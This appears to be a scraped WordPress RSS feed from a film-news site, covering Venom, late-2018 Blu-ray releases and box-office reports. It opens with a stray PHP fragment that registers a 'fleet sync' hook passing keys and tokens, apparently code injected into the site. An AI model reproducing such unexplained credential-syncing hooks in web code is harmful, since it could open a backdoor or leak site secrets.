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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); ‘Venom’ – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Tue, 25 Dec 2018 19:02:34 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png ‘Venom’ – Brief News https://briefnews.eu 32 32 New Blu-ray Releases: ‘Venom’, ‘2001’, ‘The Predator’, ‘Starman’, ‘True Stories’ https://briefnews.eu/new-blu-ray-releases-venom-2001-the-predator-starman-true-stories/ https://briefnews.eu/new-blu-ray-releases-venom-2001-the-predator-starman-true-stories/#respond Tue, 25 Dec 2018 19:02:34 +0000 http://briefnews.eu/new-blu-ray-releases-venom-2001-the-predator-starman-true-stories/ New Blu-ray Releases venom

(Welcome to Not Dead Yet, a feature dedicated to new Blu-ray releases and what special features you should be excited about. Because yes, some of us still like to own physical copies of our movies.)

Welcome to the last Blu-ray review round-up of 2018. We did it, everyone! Congratulations! As we close out this hell-year, some new Blu-ray releases await you – some good, some not so good, but all worth checking out in some capacity. This is an usually sci-fi heavy Blu-ray round-up – all but one film here fits into the science fiction genre. I didn’t plan it this way, folks. That’s just how it worked out. Below, you’ll find Venom, The Predator, and more. So take a gander, enjoy, and I’ll see you in 2019.

Here are the new Blu-ray releases and their special features you should check out this week.

Venom

Venom seemed like a terrible idea. A Spider-Man spin-off without Spider-Man? How could that work? And yet, the film cleaned up at the box office. Audiences flocked to see Tom Hardy bring Eddie Brock and his symbiote alter ego to life, even though critics trashed it. So is Venom a hidden gem? A good movie critics just didn’t understand? Absolutely not! Venom is a mess. The direction from Ruben Fleischer is rather pedestrian – I dare you to name one memorable or impressive shot from this film – and the script, by Scott Rosenberg, Jeff Pinkner, and Kelly Marcel, is downright laughable. And yet…Venom is worth watching. I don’t mean in the “so bad it’s good” sense, either. No, Venom is worth seeing simply to behold whatever the hell it is Tom Hardy is doing here. Hardy plays pushy journalist Eddie Brock, who goes from the top of the world to the bottom of the garbage heap when asks serious questions of genius inventor/Elon Musk stand-in  Carlton Drake (Riz Ahmed). Eddie’s probing costs him his job, and his fiance, played by Michelle Williams, who is here strictly to cash a paycheck. Eddie becomes a total loser, and then happens to be infected with an alien ooze known as a symbiote. This turns him into Venom, a giant gooey monster with a immense, slimy tongue. And then there’s a bunch of crap about Eddie and Venom trying to save the world – but really, that doesn’t matter. What matters is Hardy’s absolutely gonzo performance. The actor is all-in here, playing Eddie as a twitchy, jabbering maniac. There’s a scene where Hardy gets so hot he climbs into a lobster tank to cool down – and this entire scene was Hardy’s idea. I didn’t like Venom as a film, but I loved watching Hardy lose himself in his role.

Special Features to Note:

There are a few deleted and extended scenes included on this Blu, but the only one worth note is an extended version of the film’s post-credit scene, in which Woody Harrelson shows up wearing a Little Orphan Annie wig, playing Cletus Kasady. This character eventually becomes Carnage – something that’s underlined by Cletus saying, “When I get out of here…there’s going to be carnage!!” Did I mention the script is awful? In any case, this extended version has Eddie and Cletus talking a bit more, and gives Harrelson more to do. So if you were hoping for even more moments of that glorious wig, you’re in luck. 

From Symbiote to Screen tracks the character’s origins in the comic books. “It’s this super dark version of a superhero!” says Ruben Fleischer, calling the character a mixture of horror, action and comedy. Fleischer’s mention of how dark Venom is sets off a pattern – almost every featurette includes at least one person mentioning how dark Venom is. There’s an entire faturette about how Venom isn’t “all good”, but an anti-hero. “It’s an alchemy of two very different beings!” says Tom Hardy. There’s constant talk about how dark the character is. And Kevin Smith shows up to call Venom “The Wolverine of Spider-Man villains,” whatever that means. 

Designing Venom focuses on the look on Venom in the movie. Yet again, people call Venom “dark” and “bad ass” over and over. Fleischer says they wanted the design of the character to honor the comics, and I’d say they mostly did that. And of course, there’s lots of talk about Venom’s glorious tongue.

Special Features Include: 

  • Venom Mode: When selecting this mode the film will engage informative pop-ups throughout the film to provide insight on the movie’s relationship to the comics, and to reveal hidden references that even a seasoned Venom-fan may have missed!
  • Deleted & Extended Scenes: These deleted and extended scenes will give fans even more of the Venom action they loved in theaters!
    • Ride to Hospital – Eddie and Venom take a ride to the hospital.
    • Car Alarm – Let’s just say that Venom is not fond of car alarms.
    • San Quentin – Extended post-credits scene at San Quentin.
  • From Symbiote to Screen: A mini documentary about the history of Venom in comics and his journey to the big screen. Interviews with Avi Arad, Matt Tolmach, Ruben Fleischer, Oliver Scholl, and Director and Comic Fanboy Kevin Smith.
  • The Lethal Protector in Action: Go behind the scenes with the production crew and learn the secrets behind the awesome Motorcycle stunts, wire stunts, and drones.
  • Venom Vision: A look at how Ruben Fleischer came to the project, gathered his team, and made Venom a reality. Utilizes interviews from cast, crew, and producers as well as Fleischer himself.
  • Designing Venom: Designing and creating Venom meant a huge challenge for VFX artists; follow the amazing journey.
  • Symbiote Secrets: Blink and you may have missed it! Enjoy the hidden references throughout the film.
  • 8 Select Scenes Pre-Vis sequences: See the progression of the visual effects, storyboards and fight chorography compared to the finished film.
  • “Venom” by Eminem – Music Video
  • “Sunflower” by Post Malone, Swae Lee (From Spider-Man: Into the Spider-Verse)
  • Spider-Man: Into the Spider-Verse Sneak Peek: Meanwhile in another universe…

 

2001: A Space Odyssey

Hey, you ever hear of this movie, 2001: A Space Odyssey? It’s supposed to be good! Stanley Kubrick‘s sci-fi classic is now available on 4K for the very first time, and that’s something to get excited about. In this classic, Kubrick stages a cerebral, brilliant adventure that no sci-fi film has topped since. Starting millions of years ago at the “dawn of man” and jumping into (what was then) the future, 2001 tracks an expedition to Jupiter that goes terribly, terribly wrong. On board the spacecraft Discovery One, the ship’s computer, HAL 9000, becomes self-aware – which spells danger for the astronauts on board. Many have called Kubrick’s film obtuse and confusing, but really, it’s all there. This is a film ultimately about contact with live both artificial and alien, and the repercussions of such actions. It’s really no hyperbole to call this one of the best movies ever made, and its legacy has endured for a reason. Kubrick stages gorgeous, sweeping moments that stun, amuse, and even terrify.

Special Features to Note: 

All the special features here are ported over from previous releases, so they’re not new. Really, though, the 4K transfer itself is the special feature. The film looks mind-blowing, and in its new 4K format, you’ll notice things you’ve never really noticed before. 2001 fanboy Christopher Nolan worked closely to oversee the 4K transfer, and he clearly took this task seriously.

“2001 to me is the most cinematic film that has ever been made and it has been an honour and a privilege to be able to share the film with a new generation,” Nolan said. “4K UHD allows the closest recreation of viewing the original film print in your own home. Kubrick’s masterpiece was originally presented on large format film and the deeper colour palette and superior resolution comes closest to matching the original analogue presentation.”

This transfer is, without question, the best possible way to watch the film (save going to see it in an actual theater).

Special Features Include: 

  • 4K UHD Blu-ray™ with Commentary from Keir Dullea and Gary Lockwood
  • Remastered Blu-ray™ with Commentary from Keir Dullea and Gary Lockwood
  • The Making of a Myth
  • Standing on the Shoulders of Kubrick: The Legacy of 2001
  • Vision of a Future Passed: The Prophecy of 2001
  • 2001: A Space Odyssey – A Look Behind the Future
  • What Is Out There?
  • 2001: FX and Early Conceptual Artwork
  • Look: Stanley Kubrick!
  • 11/27/66 Interview with Stanley Kubrick [Audio Only]
  • Original Theatrical Trailer
  • Premium Booklet
  • Art Cards

 

The Predator

I first saw The Predator, Shane Black‘s reboot/sequel of the sci-fi franchise about everyone’s favorite dreadlock-wearing alien, at a Midnight Madness screening at the Toronto International Film Festival. While I wouldn’t say I loved the film, I did have fun, especially in that atmosphere. Now The Predator is on Blu-ray, and let me say, watching it at home instead of with a wild Midnight Madness crowd isn’t as enjoyable. To be clear: The Predator isn’t awful. But the plotting is a wonky, some of the jokes fall flat, and the film’s ending is a mess. But in between all that is a fun, funny sci-fi comedy. Yes, comedy is the key word here – Shane Black plays up the humor, big time. The film focuses on a team of military rejects going up against a Predator. As you might expect, the Predator kills lots of people. Boyd Holbrook is a bit dull as the lead character, but Olivia Munn is quite good as a scientist who gets roped in with the men. And Sterling K. Brown steals the entire movie as a government agent interested in capturing the Predator. If you’re a fan of Black’s work, you’ll likely get a kick out of The Predator. But I don’t think people will look back at this movie as fondly as the look back at the original.

Special Features to Note:

A Touch of Black goes behind the scenes with Shane Black, the man who has the distinction of appearing in the first Predator, only to go on to helm an eventualy sequel. Black talks a bit about how he ended up in the first Predator – he was brought on to write jokes, and they figured putting him in the movie would keep him on-set for screenplay touch-ups. But Black didn’t want to do that – he just wanted to act in the film. Which lead to his character being killed by the Predator first.

When it came time to make the new Predator, the producers “tested” Black’s involvement on Facebook with a mock-up poster, and the poster got a huge response. That’s certainly one way to lock down your director, I guess. 

Special Features Include:

  • Deleted Scenes
  • A Touch of Black
  • Predator Evolution
  • The Takedown Team
  • Predator Catch-Up
  • Gallery

 

Starman

John Carpenter movies aren’t primarily known for being good-natured and romantic, but in 1984, he went against the grain to make Starman. Unlike any other Carpenter film, Starman is ultimately a love story. It’s also proof that Carpenter doesn’t get nearly as much credit as he deserves for being able to direct films outside of the horror genre. In Starman, an alien comes to earth and takes the form of a dead man, played by Jeff Bridges. This is understandably alarming to the dead man’s widow, played by Karen Allen. The two end up on a road trip, with Allen’s character resistant at first, but slowly coming around to appreciate, and even love, the weird, out-of-this-world Bridges. Bridges, who was nominated for an Oscar for his role, is fantastic here. We literally watch as his character learns and grows as the film progresses, and it’s fascinating.

Special Features to Note:

There’s a fun making-of feature on the disc, which features new interviews with Carpenter, Bridges and co-star Charles Martin Smith. Like many Shout/Scream Factory features, the editing is a bit lackluster, resulting in some awkward pacing. But it’s neat to listen to Carpenter and company talk about the film. Here, Carpenter says was excited to make Starman because he had never made a movie like this, and he jumped at the chance to direct it. Jeff Bridges (who has a mic that keeps crackling for some reason) notes that he pitched Carpenter on the idea of playing his character as someone mimicking a human. And Charles Martin Smith goes on to say Carpenter was an incredible actor’s director. As Smith puts it, he had always thought Carpenter as more of a “camera stylist”, but realized Carpenter was great with actors as well. My only real complaint with this feature (besides the technical issues) is that I would’ve loved to hear Karen Allen’s recollections as well. 

Special Features Include: 

  • NEW They Came from Hollywood: Re-visiting STARMAN – Featuring Director John Carpenter, Actors Jeff Bridges And Charles Martin Smith, And Script Supervisor Sandy King-Carpenter
  • Audio Commentary With Director John Carpenter And Jeff Bridges
  • Vintage Featurette
  • Teaser Trailer
  • Theatrical Trailer
  • TV Spots

 

True Stories

Talking Heads frontman David Byrne directed only one movie in his career: the quirky, unique 1986 comedy True Stories. The film is a series of vignettes that follow Byrne around the fictional town of Virgil, Texas. There, he introduces us to all sorts of oddballs, most notably a clean room technician looking for love, played by a young John Goodman. Even though this is Byrne’s only directorial effort, you can see how ahead of his time he was here. In True Stories, you can see the roots of the films of Wes Anderson, Paul Thomas Anderson, and more. Blending offbeat scenes with strange musical numbers, True Stories is an absolute delight. I only wish Byrne had made a few more films like this, but the fact that this is his one and only movie makes it extra special.

Special Features to Note: 

A lengthy (just over an hour long) making-of featurette takes you through nearly ever step of the film, from conception to execution. Byrne reveals that he loved directing, because he got to build a world – which is more than he gets to do when writing a song. He goes on to note that he didn’t start True Stories off with an actual story. Instead, he created several drawings – essentially storyboards – and tacked them up to a wall. Then he would invite cinematographers over to look at the drawings, and ask their opinions on them. Byrne didn’t want to tie his different narratives together – he wanted them to mostly stand on their own. To get this just right, he reached out to Joan Tewkesbury, writer of Robert Altman’s Nashville, which also features several different storylines. Twekesbury didn’t want to write a script for him, but she did give him some advice. Specifically, she told Byrne that he didn’t need a narrative connection for his stories – he needed an emotional connection. Byrne took it from there, co-writing the script with Stephen Tobolowsky and Beth Henley.

Special Features Include:

  • New, restored 4K digital transfer, supervised by director David Byrne and cinematogra­pher Ed Lachman, with 5.1 surround DTS-HD Master Audio soundtrack, supervised by Byrne, on the Blu-ray
  • New documentary about the film’s production, featuring Byrne, Lachman, screenwriter Stephen Tobolowsky, executive producer Edward Pressman, coproducer Karen Murphy, fashion-show costume designer Adelle Lutz, casting director Victoria Thomas, consultant Christina Patoski, actor Jo Harvey Allen, and artist and songwriter Terry Allen
  • CD containing the film’s complete soundtrack, compiled here for the first time (Blu-ray only)
  • Real Life (1986), a short documentary by Pamela Yates and Newton Thomas Sigel made on the set of the film
  • No Time to Look Back, a new homage to Virgil, Texas, the fictional town where True Stories is set
  • New documentary about designer Tibor Kalman and his influence on Byrne and work on the film, featuring Byrne and artist Maira Kalman, Tibor’s widow
  • Deleted scenes
  • Trailer
  • PLUS: Essays by critic Rebecca Bengal and journalist and author Joe Nick Patoski, along with, for the Blu-ray edition, an essay by Byrne; a 1986 piece by actor Spalding Gray on the film’s production; and a selection of production photography, along with Byrne’s tabloid clippings and writing about the film’s visual motifs

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On the December 17, 2018 episode of /Film Daily, /Film editor in chief Peter Sciretta is joined by managing editor Jacob Hall, weekend editor Brad Oman, senior writer Ben Pearson, and writers Hoai-Tran Bui and Chris Evangelista to talk about what they’ve been watching at the Water Cooler.

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Opening Banter: What are you guys doing for Christmas?

At The Water Cooler:

What we’ve been Doing:

  • Jacob hosted a holiday party and has learned the value of slippers.
  • Peter has been pushing his Magic.
  • Hoai-Tran went to the Museum of Illusions in Chelsea, visited the Chelsea Market, and learned that her friend moved into an apartment that was the exterior for John Wick’s The Continental.

What we’ve been Reading:

  • Peter has been reading more Miles Morales Ultimate Spider-Man comics and tried to read Spider-Gwen.

What we’ve been Watching:

  • Jacob watched Can You Ever Forgive Me? and Spider-Man: Into the Spider-Verse.
  • Chris watched Venom, The House that Jack Built, and Birdbox.
  • Peter watched Love Simon, Leave No Trace, Hearts Beat Loud, and left Disneyland to watch Spider-Man: Into the Spider-Verse for a third time.
  • Brad watched Spider-Man: Into the Spider-Verse, Aquaman, Ben Is Back, and Anna and the Apocalypse
  • Ben watched Aquaman, Bumblebee, Minding the Gap, Destroyer, Free Solo, The Favourite, and Roma.
  • Hoai-Tran watched Happy as Lazzaro, The Garden of Words, did a holiday viewing of Love Actually.

 

 

What we’ve been Eating:

  • Peter has fallen in love with Rebel Creamery’s Ice Cream, and has discovered Quest Pizza at Target.
  • Brad tried Ghiradelli Toffee and Cookie Crunch Squares

What we’ve been Playing:

  • Jacob has been designing a Scum and Villainy session for the holidays.

 

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What’s up with the Japanese Spider-Man? Could Batman end up in the Arrowverse? What are the early box office predictions for Avengers: Endgame saying? What’s the latest comic book related item to make Kevin Smith cry? Could Captain Marvel lift Thor‘s hammer? Would you like to see Ben Schwartz as Plastic Man? All that and more in this edition of Superhero Bits.

Even though they were asked by no one, Screen Junkies did an Honest Trailer for the Japanese Spider-Man.

Even though the Arrowverse has brought in Batwoman and Gotham City, Batman is still very much off limits.

Parks and Recreation star Ben Schwartz may want to play Plastic Man, and they do have a resemblance.

Marvel Studios was very appreciative of any assistance that NASA can provide to save Tony Stark in space.

Marvel is celebrating the 4th anniversary of the mobile game Marvel Contest of Champions with this video.

A positive reaction to a recent test screening of the Hellboy reboot has surfaced online and sounds promising.

Concept artist Aleksi Briclot showed off this alternate design for the Infinity Gauntlet that Thanos wears.

Box office analysts are already predicting that Avengers: Endgame will making over $ 2 billion at the box office.

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It’s hard to believe, but Venom has become one of the biggest box office hits of the year. With a box office haul of over $ 851 million, it’s currently the 66th highest grossing film globally of all time, surpassing almost all the films in the Spider-Man franchise (except Spider-Man 3 and Spider-Man: Homecoming) and even pushing past Wonder Woman in the 71st spot. And soon we’ll get to see the scenes that weren’t good enough to make it into the final cut of this wacky movie.

Venom is available on digital download today before hitting Blu-ray and DVD next week. To celebrate the film’s arrival at home, a new Venom deleted scene sneak peek has been revealed that shows the symbiote working with Eddie Brock (Tom Hardy) hates the sound of car alarms as much as you do.

Venom Deleted Scene Sneak Peek

This Venom deleted scene appears to be from the end of the movie, perhaps after Eddie Brock has had that final conversation with Anne Weying (Michelle Williams). Maybe this was the original way the movie confirmed that the symbiote suit was still attached to Eddie before he starts talking to him about the new rules he’s setting about which people are okay to eat.

Honestly, the success surrounding this movie still baffles me. It’s goofy, but not in a way that feels entirely intentional. Fans seem to be taking to the silliness of it all, almost like they assume it was intended to be like Deadpool. But Venom is nowhere near as clever or thought-out as Deadpool in any way, shape or form. But maybe this will give Sony Pictures the confidence to spend more money and take more risks on the sequel in order to make it work better the second time around.

Venom will first hit digital on December 11, 2018, before arriving on on Blu-ray on December 18, 2018. Here are all the special features you’ll get to enjoy if you pick it up:

  • Venom Mode: When selecting this mode the film will engage informative pop-ups throughout the film to provide insight on the movie’s relationship to the comics, and to reveal hidden references that even a seasoned Venom-fan may have missed!
  • Deleted & Extended Scenes: These deleted and extended scenes will give fans even more of the Venom action they loved in theaters!
    • Ride to Hospital – Eddie and Venom take a ride to the hospital.
    • Car Alarm – Let’s just say that Venom is not fond of car alarms.
    • San Quentin – Extended post-credits scene at San Quentin.
  • From Symbiote to Screen: A mini documentary about the history of Venom in comics and his journey to the big screen. Interviews with Avi Arad, Matt Tolmach, Ruben Fleischer, Oliver Scholl, and Director and Comic Fanboy Kevin Smith.
  • The Lethal Protector in Action: Go behind the scenes with the production crew and learn the secrets behind the awesome Motorcycle stunts, wire stunts, and drones.
  • Venom Vision: A look at how Ruben Fleischer came to the project, gathered his team, and made Venom a reality. Utilizes interviews from cast, crew, and producers as well as Fleischer himself.
  • Designing Venom: Designing and creating Venom meant a huge challenge for VFX artists; follow the amazing journey.
  • Symbiote Secrets: Blink and you may have missed it! Enjoy the hidden references throughout the film.
  • 8 Select Scenes Pre-Vis sequences: See the progression of the visual effects, storyboards and fight chorography compared to the finished film.
  • “Venom” by Eminem – Music Video
  • “Sunflower” by Post Malone, Swae Lee (From Spider-Man: Into the Spider-Verse)
  • Spider-Man: Into the Spider-Verse Sneak Peek: Meanwhile in another universe…

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What’s up with the new dinosaur named after Thanos? How much has Venom made at the global box office? Will characters from Eternals appear in Captain Marvel or Avengers 4? Did Zack Snyder throw shade at Justice League on Thanksgiving? Is T.J. Miller going to appear in Deadpool 3? What did Kevin Feige have to say about his final meeting with Stan Lee? All that and more in this edition of Superhero Bits.

Check out what’s coming up on the second season of Black Lightning in a promo for the next episode on The CW.

If you’re planning on seeing Aquaman on an IMAX screen, find out how to get your hands on collectible tickets.

Get a first look at Donna Troy in action in a promo for the eight episode of the first season of DC’s Titans.

Kevin Feige wrote a lengthy tribute to Stan Lee and remembered the final meeting he had with the legend.

A new trailer for the upcoming Elseworlds crossover in the Arrowverse shows off a lot of exciting moments

Venom has now made $ 822 million worldwide, pushing it past the global box office total of Wonder Woman.

Funko released an animated short in honor of the forthcoming Aquaman movie, and it’s as goofy as you’d expect.

Avengers: Infinity War villain Thanos now has a dinosaur named after him. Did it kill the rest of the dinosaurs?

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It’s official: the world loves Venom. The superhero film is already a big hit, and this weekend, it’s opening in China – and it’s opening big. So big, in fact, that it’s on track to earn as much, or even more, worldwide than all of Sony’s other Spider-Man– related movies. People just can’t get enough of Venom and his big, slimy tongue! If you’re a fan of Venom, this is good news, because this means more movies like Venom are on the way. If you’re not a fan of Venom, than this is bad news, because this means more movies like Venom are on the way.

I’m at a loss, folks. I never expected Venom to flop – the name recognition alone guaranteed it would turn a profit. But I never expected it to be this much of a hit. The Tom Hardy film about a giant slime monster and his human buddy has already made $ 600 million globally, and it’s nowhere near done. Venom opens in China this weekend, and per Deadline, it’s on its way to making another $ 100 million-plus there when all is said and done.

According to the report, if this happens, it would put Venom “in the Top 15 China openers ever, besting Civil War, Spider-Man: Homecoming and Ant-Man And The Wasp.” Not only that, but the $ 100 million-plus would put the total around $ 700 million – and that’s just this weekend. It’s clearly going to keep making more, and if it does, it’s going to make as much, or more than, Sony’s Spider-Man movies. For comparison, The Amazing Spider-Man 2 took in $ 709 million worldwide, total. The Amazing Spider-Man webbed itself a $ 758 million worldwide total, the first Spider-Man hauled in $ 822 million, Spider-Man 2 tapped-out at $ 784 million, and Spider-Man 3, another movie that featured Venom, topped off at $ 891 million. It’s reasonable to believe Venom might come close, or even surpass, these totals. And that’s nuts.

So what does this mean? Box office success always ensures imitation, and global box office success is even better. Studios are going to pay close attention to this, and start green-lighting their own movies like Venom. There are two ways to react to this news. If you enjoyed Venom, you’ll probably be thrilled. But if you thought Venom was a garbage fire, you’re going to be disheartened. And if you’re like me, and a little weary of constant superhero movies, you’re going to be slightly disappointed, because this means there’s no sign of the trend ever slowing down. On the plus-side, we don’t have to put up with any “superhero fatigue” articles for a while.

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]]> https://briefnews.eu/venom-china-box-office-will-make-this-monster-hit-even-bigger/feed/ 0 Superhero Bits: ‘Venom’ May Be the Most Profitable ‘Spider-Man’ Movie, ‘Pennyworth’ Casts Villain & More https://briefnews.eu/superhero-bits-venom-may-be-the-most-profitable-spider-man-movie-pennyworth-casts-villain-more/ https://briefnews.eu/superhero-bits-venom-may-be-the-most-profitable-spider-man-movie-pennyworth-casts-villain-more/#respond Wed, 31 Oct 2018 11:18:47 +0000 http://briefnews.eu/superhero-bits-venom-may-be-the-most-profitable-spider-man-movie-pennyworth-casts-villain-more/ Guardians of the Galaxy Concept Art - Star-Lord

How old is Matt Murdock on the Daredevil TV series? Who is playing the villain in the Gotham prequel series Pennyworth? Will the snap of Thanos have an impact on Marvel TV shows at all? Would you believe Venom might become the most profitable Spider-Man movie ever? Did you know Batman was almost killed at the end of The Dark Knight Returns? All that and more in this edition of Superhero Bits.

Captain Marvel is the latest comic book movie to get the strange but satisfying Weird Trailer treatment.

Daredevil season 3 finally gives fans an idea of just how old Matt Murdock is, thanks to his mom, Maggie.

DC’s Legends of Tomorrow takes a cue from ABBA in the promo for their next episode, “Dancing Queen.”

X-Men: First Class co-star Jason Flemyng has landed the role of villain Lord Harwood in Pennyworth.

Oliver makes a drastic move in his quest to find Diaz in “Level Two,” the next episode of Arrow season seven.

Dexter alumnus Jaime Murray will have a recurring role of Theresa Walker on the final season of Gotham.

Concept artist Charlie Wen revealed an alternate design for Star-Lord in Guardians of the Galaxy.

Gotham will premiere on January 3, 2019 on FOX and it will now have 12 episodes instead of only 10.

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Spider-Man and Iron Man Pumpkins

Robert Downey Jr. posted these Iron Man and Spider-Man painted pumpkins off in time for Halloween.

Marvel Television boss Jeph Loeb discused whether the snap of Thanos might effect the TV shows or not.

Doom Patrol is coming together in the promo for the next episode of the DC Universe streaming series Titans.

According to Forbes, Venom is on the verge of becoming more profitable than all of the Spider-Man movies.

Since someone stole a bad copy and got 12k karma before it got deleted, here is MY actual Avengers Family, in HD. from marvelstudios

This family dressed up as The Avengers inspired by Avengers: Age of Ultron for group Halloween fun.

Frank Miller recently revealed that The Dark Knight Returns almost had the death of Batman by gunfire.

See footage and interviews from Spider-Man: Into the Spider-Verse from London and Paris Comic-Cons.

Todd McFarlane won’t rule out the possibility of his developing Spawn movie ending up streaming at Netflix.

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Injustice 2 - Aquaman Statue

Aquaman from Injustice 2 has been given his own 1/4 sale statue from Prime 1 Studio, complete with trident.

Batgirl and Batman now have their own Funko brand cereals that come along with a little POP vinyl figure.

X-Men - Cyclops - One:12 Collective Figure

The classic version of Cyclops from Marvel Comics is becoming a One:12 Collective figure from Mezco Toyz.

X-Men Xavier School for the GIfted Headband

Keep your ears warm this winter with this unisex headband branded by Xavier’s School for the Gifted.

Read the previous edition of Superhero Bits right here.

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]]> https://briefnews.eu/superhero-bits-venom-may-be-the-most-profitable-spider-man-movie-pennyworth-casts-villain-more/feed/ 0 ‘Halloween’ On Track to Become Biggest R-Rated Horror Hit After ‘It,’ ‘A Star is Born’ Rises Over ‘Venom’ https://briefnews.eu/halloween-on-track-to-become-biggest-r-rated-horror-hit-after-it-a-star-is-born-rises-over-venom/ https://briefnews.eu/halloween-on-track-to-become-biggest-r-rated-horror-hit-after-it-a-star-is-born-rises-over-venom/#respond Mon, 29 Oct 2018 16:53:33 +0000 http://briefnews.eu/halloween-on-track-to-become-biggest-r-rated-horror-hit-after-it-a-star-is-born-rises-over-venom/ halloween box office

Halloween may have shattered box office records for slasher films, but the Gordon Green sequel is set to slash even more records as the numbers from this weekend roll in. The Halloween box office continues to have a strong showing in its second weekend, maintaining the No. 1 spot, while A Star is Born begins to rise over the current October No. 1 box office holder, Venom. And if the numbers continue to be strong for both Halloween and A Star is Born, the two films could see an impressive — maybe even record-setting — total box office haul.

Halloween raked in an estimated $ 32 million domestically this weekend, bringing its domestic total to $ 126 million — it has its eyes on the coveted $ 200 million mark. Internationally, the horror film is no slouch either, scoring the No. 1 spot with an estimated $ 25.6 million from 62 markets, making its international total $ 45.6 million. With its grand cumulative total topping $ 172 million, Halloween could be well on its way to becoming the second highest-grossing R-rated horror flick after 2017’s record-setting It.

Meanwhile, after a strong but modest opening, A Star is Born is gaining momentum. The film dropped just 26% at the domestic box office this weekend, raking in $ 14.1 million domestically, making its domestic total $ 149 million. With an added $ 17.6 million from 75 international markets, the global tally has now reached $ 253 million, and counting. At this rate, A Star is Born could overtake Venom, which has topped $ 508.4 million worldwide and still holds the title as best-selling October movie but is starting to slow down, dropping 40% this weekend with only a $ 10 million domestic haul.

Either way, both Halloween and A Star is Born look like they’ll be blockbuster success stories for this month. Halloween‘s is significant because it comes at a time when studios are just pushing out more horror movies in October, while awards darling A Star is Born proves that the “most popular Oscar” category may turn out to be redundant.

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]]> https://briefnews.eu/halloween-on-track-to-become-biggest-r-rated-horror-hit-after-it-a-star-is-born-rises-over-venom/feed/ 0 Superhero Bits: Is the 1966 Batmobile in ‘Joker,’ Eminem Performs ‘Venom’ on the Empire State Building & More https://briefnews.eu/superhero-bits-is-the-1966-batmobile-in-joker-eminem-performs-venom-on-the-empire-state-building-more/ https://briefnews.eu/superhero-bits-is-the-1966-batmobile-in-joker-eminem-performs-venom-on-the-empire-state-building-more/#respond Wed, 17 Oct 2018 07:57:25 +0000 http://briefnews.eu/superhero-bits-is-the-1966-batmobile-in-joker-eminem-performs-venom-on-the-empire-state-building-more/ Arrowverse Elseworlds

What’s the dumbest Venom storyline of all time? What is DC’s Legends of Tomorrow doing instead of the Arrowverse crossover this year? Did you know Deadpool 2 star Zazie Beetz auditioned for another key Marvel role? Is the 1966 Batmobile appearing in an upcoming DC Comics movie? Who might know Peter Parker‘s secret in Spider-Man: Far From Home? All that and more in this edition of Superhero Bits.

Mr. Sunday Movies dives into Marvel Comics to talk about one of the dumbest Venom storylines of all time.

Aquaman will release in China on December 7 this winter, one week ahead of its debut in the United States.

The teaser for the second episode of Arrow season seven promises time spent with “The Longbow Hunters.”

Venom has emerged as Sony’s highest-grossing 2018 film in Russia, and could land on the all-time list too.

Titans star Brenton Thwaites sits down to chat about the DC Universe show in a new episode of DC Daily.

Instead of being in the Elseworlds crossover, DC’s Legends of Tomorrow will have a crossover with itself.

Arrowverse Elseworlds

Stephen Amell revealed a new Elseworlds poster, showing him as The Flash and Grant Gustin as Arrow.

Comic writer Marc Guggenheim explains what he’d like to see from a series adaptation of Marvel’s Blade.

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Even though First Man might be a key contender during awards season, when it comes to the box office, well, we just had a glitch for this mission.

First Man, the story of astronaut Neil Armstrong as he works towards the chance to land on the moon, couldn’t drum up enough interest to surpass last week’s holdovers of Venom and A Star Is Born, both taking the #1 and #2 spots at the box office again. Get the full rundown on the First Man box office performance below.

The Hollywood Reporter has First Man making only $ 16.5. million from its wide release from 3,640 theaters. While that might seem like a bomb, there’s a good chance First Man will stick around in theaters for awhile and continue to make money as we get deeper into awards season. In fact, for that reason, the movie probably would have fared better as a November or December release.

Critics have been praising First Man left and right, but audiences seem to be not quite as keen on the film starring Ryan Gosling and directed by La La Land filmmaker Damien Chazelle. The film only received a B+ CinemaScore, which is the same score as Venom, but not what you’re looking for when you want audiences to really love your movie.

Though First Man may stick around deeper into awards season, it’s a little worrisome that similar and equally critically praised movies like Gravity and The Martian each had much bigger openings around the same time of release. Gravity opened up to $ 55.8 million and held the biggest October opening until Venom recently toppled it, and The Martian landed $ 54.3 million.

Meanwhile, Venom now has a domestic total of over $ 141 million after adding an estimated $ 35.7 million this weekend, which is a little higher than analysts were predicting. That’s a drop of around 56%, which isn’t too bad for a blockbuster superhero release.

A Star Is Born had an ever better weekend. Though it still came in second place, the movie landed another $ 28 million, which is only a 34% drop from opening weekend. The movie will likely have long legs at the box office as we continue through awards season.

Otherwise, the another new title at the box office rolled in just behind First Man. Goosebumps 2: Haunted Halloween even came close to taking the #3 spot with an estimated $ 16.2 million. There’s a slight chance it could even end up ahead of First man when the final numbers come in Monday morning.

Finally, Bad Times at the El Royale couldn’t even crack the top five at the box office, opening in the #7 slot with an estimated $ 7.2 million. That’s pretty disappointing for a thriller with such a great cast that has received solid reviews.

Next weekend will certainly see a shake up in the top spot when the new Halloween arrives. It’s one of the most anticipated movies of the fall, and it’s going to be a big box office winner. Stay tuned.

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